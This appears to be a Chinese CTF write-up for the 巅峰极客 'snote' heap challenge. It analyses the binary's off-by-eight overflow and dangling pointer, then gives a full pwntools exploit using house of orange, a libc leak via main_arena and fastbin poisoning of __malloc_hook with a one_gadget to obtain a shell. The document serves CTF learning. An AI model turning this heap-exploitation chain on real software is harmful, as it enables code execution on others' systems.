巅峰极客snote
程序员文章站
2022-03-09 20:56:51
...
巅峰极客snote
链接:https://pan.baidu.com/s/1aAb4JjplV-MBj8iQCauI2Q
提取码:977o
复制这段内容后打开百度网盘手机App,操作更方便哦
查看保护&大致逻辑
是一个选单程序,且保护全开
功能分析
1.add
2.show
dword_202014为1,只能泄露一次
3.delete
dword_202010只能free一次,且free之后指针没有置0
4.edit
edit部分存在溢出 8个字节大小
利用思路
1.首先利用edit溢出覆盖TOPchunk
2.使用house of orange修改的Topchunk 必须要实现内存对齐机制。(即最后三位为0)
在这里我开辟了一个0x24大小的堆之后,便覆盖Topchunk,但为了 满足内存对齐机制覆盖最小的值为0xfe1
3.之后分配一个内存大于0xfe0的内存,topchunk无法满足分配的内存大小,堆以brk的形式拓展,topchunk会被置入unsorted bin中
4.之后再分配一段内存,该内存从unsortedbin中切割,据此我们可以从中泄露出main_arena的地址,以泄露main_arena的地址,从而获取libc版本和基地址
5.之后将这个指针删除,再edit这个指针的fd为main_arena-0x33。之后分配第二次内存,之后分配到malloc_hook附近 最后再malloc_hook处写上one_gadget即可拿到shell
exp
# -*- coding: utf-8 -*-
from pwn import *
context.log_level='debug'
p = process("./geekpwn")
# ptr 0x202010
def add(size,data):
p.recvuntil("Your choice > ")
p.sendline("1")
p.recvuntil("Size > ")
p.sendline(str(size))
p.recvuntil("Content > \n")
p.send(data)
def show():
p.recvuntil("Your choice > ")
p.sendline("2")
def delete():
p.recvuntil("Your choice > ")
p.sendline("3")
def edit(size,data):
p.recvuntil("Your choice > ")
p.sendline("4")
p.recvuntil("Size > ")
p.sendline(str(size))
p.recvuntil("Content > \n")
p.send(data)
p.recvuntil("What's your name?\n")
p.sendline("test")
add(24,'b'*4)
data = 'b'*24 + p32(0x0fe1)#修改chunk大小
edit(28,data)
add(4080,'a'*8)
#gdb.attach(p,"b *$rebase(0xf63)")
#delete()
#gdb.attach(p,"b *$rebase(0xf63)")
add(104,'1'*8)
#gdb.attach(p,"b *$rebase(0xf63)")
show()
p.recvuntil("1"*8)
main_arena = u64(p.recv(6) + '\x00\x00') - 1640
fake_bin = main_arena - 0x33
libc = main_arena - 0x3c4b20
g_level='debug'
success("main_arena: "+hex(main_arena))
success("libc is : "+hex(libc))
delete()
edit(16,p64(fake_bin) + p64(0))
add(104,'2'*8)
one = libc + 0xf02a4 # 0x4526a #0xf02a4 #0xf1147
shellcode = "q"*19 + p64(one)
add(104,shellcode)
success("one: "+hex(one))
p.sendline("1")
p.recvuntil("Size > ")
p.sendline('100')
p.interactive()